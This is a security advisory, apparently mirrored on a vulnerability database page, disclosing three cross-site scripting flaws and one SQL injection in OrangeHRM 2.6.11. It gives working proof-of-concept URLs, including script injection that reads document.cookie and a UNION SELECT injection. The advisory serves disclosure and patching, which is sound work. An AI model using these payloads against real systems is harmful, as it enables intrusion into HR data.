Lucene search
+L

OrangeHRM 2.6.11 Cross Site Scripting / SQL Injection

🗓️ 01 Dec 2011 00:00:00Reported by High-Tech Bridge SAType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

OrangeHRM 2.6.11 Cross Site Scripting / SQL Injection, fixed by vendor, high ris

Code
`Vulnerability ID: HTB23057  
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_orangehrm.html  
Product: OrangeHRM  
Vendor: OrangeHRM Inc. ( http://www.orangehrm.com )   
Vulnerable Version: 2.6.11 and probably prior  
Tested Version: 2.6.11  
Vendor Notification: 09 November 2011   
Vulnerability Type: XSS, SQL injection  
Status: Fixed by Vendor  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
1) Input passed via the "uniqcode" GET parameter to index.php is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.  
  
The following PoC code is available:  
  
http://[host]/index.php?menu_no_top=eim&uniqcode=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28123%29;%3C/script%3E  
  
2) Input passed via the "isAdmin" GET parameter to index.php is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.  
  
The following PoC code is available:  
  
http://[host]/index.php?menu_no_top=eim&uniqcode=USR&isAdmin=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28123%29;%3C/script%3E  
  
3) Input appended to the URL after /lib/controllers/centralcontroller.php is not properly sanitised before being returned to the user.   
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site  
  
The following PoC code is available:  
  
http://[host]/lib/controllers/centralcontroller.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/?uniqcode=USR&VIEW=MAIN&isAdmin=1  
  
4) Input passed via the "id" GET parameter to /lib/controllers/centralcontroller.php is not properly sanitised before being used in a SQL query.  
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.  
  
The following PoC code is available:  
  
http://[host]/lib/controllers/centralcontroller.php?capturemode=updatemode&uniqcode=NAT&id=1%27%20union%20select%20version%28%29,user%28%29%20--%20  
  
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.  
  
Solution: Upgrade to the version 2.6.11.2  
  
Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2011 00:00Current
0.3Low risk
Vulners AI Score0.3
27